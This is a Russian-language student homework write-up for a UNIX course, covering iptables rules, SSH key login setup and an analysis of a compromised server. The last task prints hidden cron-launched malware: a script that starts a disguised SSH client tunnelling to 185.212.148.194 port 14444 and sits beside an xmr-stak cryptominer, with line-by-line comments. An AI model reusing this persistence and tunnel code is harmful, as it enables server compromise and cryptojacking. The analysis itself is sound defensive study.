Введение в UNIX-системы

Домашняя работа

Урок 8. Практика. Как защитить свой сервер

1. Настроить сетевой фильтр, чтобы из внешней сети можно было обратиться только к сервисам http и ssh (80 и 443).

```
iptables -A INPUT -p tcp --dport=80 -j ACCEPT
iptables -A INPUT -p tcp --dport=443 -j ACCEPT
iptables -A INPUT -p tcp --dport=22 -j ACCEPT
iptables -P INPUT DROP
service iptables-persistent save
```

2. Запросы, идущие на порт 8080, перенаправлять на порт 80.

```
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j REDIRECT --to-
port 80
service iptables-persistent save
```

3. Настроить доступ по ssh только для вашего IP-адреса (или из всей сети вашего провайдера).

```
iptables -I INPUT -s 192.168.0.202 -p tcp -m tcp --dport 22 -j
ACCEPT
iptables -I INPUT -p tcp -m tcp --dport 22 -j REJECT
iptables -P INPUT DROP
service iptables-persistent save
```

4. Создать нового пользователя, сгенерировать для него новые сертификаты. Настроить доступ на сервер вновь созданного пользователя с использованием сертификатов. Подключиться с помощью **putty** или **ssh** без ввода пароля (используя только сертификат).
   **Примечание: сертификат может быть подготовлен как в Ubuntu, так и с помощью puttygen в windows.*
   На стороне клиента (windows 11, windows terminal) выполняем:

```
ssh-keygen.exe -f gb-ubuntu-srv
#Пароль устанавливать не будем
scp .\gb-ubuntu-srv.pub
sa@192.168.243:/home/sa/homepc_ilya_teterin.key
```

На сервере gb-ubuntu-srv (192.168.0.243) выполняем:

```
mkdir ~/.ssh
mv homepc_ilya_teterin.key ~/.ssh/authorized_keys
```

Проверяем, что вход от пользователя по закрытому ключу работает в клиенте:

```
ssh -i .\gb-ubuntu-srv sa@192.168.243
```

Приводим аналогичные строчки в файле /etc/ssh/sshd_config к виду:

```
PubkeyAuthentication yes
PasswordAuthentication no
PermitRootLogin no
```

```
#Перезапускаем сервис
systemctl restart sshd
```

5. ** Ваши коллеги, студенты, настраивали VDS-сервер для использования на командном проекте. Через некоторое время сервер был заблокирован. Студенты связались с хостером, он предоставил abuse-письмо (настоящий IP-адрес машины студентов был заменен на 203.0.113.198)

Есть какое-то соединение (в состоянии открытия):

```
guest-4zbqhb@StudNet-Server:/$ ss -nt
State       Recv-Q Send-Q                 Local Address:Port                  Peer Address:Port
SYN-SENT    0      1                         10.0.2.15:45230          185.212.148.194:14444
```

Видим, что каждую минуту запускается каких то два скрипта:

```
* * * * * /bin/bash ~/.ttp/start
* * * * * /bin/bash /tmp/.ssh/.rsync/start
```

первый скрипт:

```
deploy@StudNet-Server:~/.ttp$ cat /tmp/.ssh/.rsync/start
#!/bin/bash
dir1=~/.ttp
dir2=/tmp/.ssh/.rsync
if [ -f $dir2/rsync ]
then
cd $dir2
pss=`ps ax|grep "rsync -t -p"|grep -v grep|wc -l`

if [[ "$0" == "$dir2/start" && "$pss" == "0" ]]
then
echo  "starting" > $dir1/do
nohup ./rsync -t -p 14444 mofo@185.212.148.194 "bash storyteller" >> /dev/null &
fi
else
 mkdir -p $dir2 2> /dev/null
 rsync -r $dir1/* $dir2 &> /dev/null
fi
```

```
#!/bin/bash
dir1=~/.ttp
dir2=/tmp/.ssh/.rsync
if [ -f $dir2/rsync ]                                   #проверяется, есть ли
путь /tmp/.ssh/.rsync/rsync
then                                                    #если такой путь есть
то
cd $dir2                                                # переходим в
/tmp/.ssh/.rsync
pss=`ps ax|grep "rsync -t -p"|grep -v grep|wc -l`  # в переменную
закидываем кол-во процессов rsync -t -p

if [[ "$0" == "$dir2/start" && "$pss" == "0" ]]     #проверяет, что нет
такого пути и кол-во процессов - 0
then
echo  "starting" > $dir1/do                           #~/.ttp/do пишет, что
процесс начался
nohup ./rsync -t -p 14444 mofo@185.212.148.194 "bash storyteller" >>
/dev/null &  #запускает ./rsync (SSH клиент) в режиме туннеля на хост
185.212.148.194 под юзером mofo на порт 144444 с переназначением
псевдотерминала
fi
else
 mkdir -p $dir2 2> /dev/null          #в противном случае - создаем
/tmp/.ssh/.rsync
 rsync -r $dir1/* $dir2 &> /dev/null #и копируем ~/.ttp в
/tmp/.ssh/.rsync
fi
```

второй скрипт:

```
deploy@StudNet-Server:~/.ttp$ cat /tmp/.ssh/.rsync/start
#!/bin/bash
dir1=~/.ttp
dir2=/tmp/.ssh/.rsync
if [ -f $dir2/rsync ]
then
cd $dir2
pss=`ps ax|grep "rsync -t -p"|grep -v grep|wc -l`

if [[ "$0" == "$dir2/start" && "$pss" == "0" ]]
then
echo  "starting" > $dir1/do
nohup ./rsync -t -p 14444 mofo@185.212.148.194 "bash storyteller" >> /dev/null &
fi
else
 mkdir -p $dir2 2> /dev/null
 rsync -r $dir1/* $dir2 &> /dev/null
fi
```

Делает то же самое

В папке ~/.ttp есть:

майнер:

```
deploy@StudNet-Server:~/.ttp/a$ ls
a  bash.pid  config.txt  dir.dir  libxmrstak_cuda_backend.so  libxmrstak_opencl_backend.so  pools.txt  run  stop  upd
```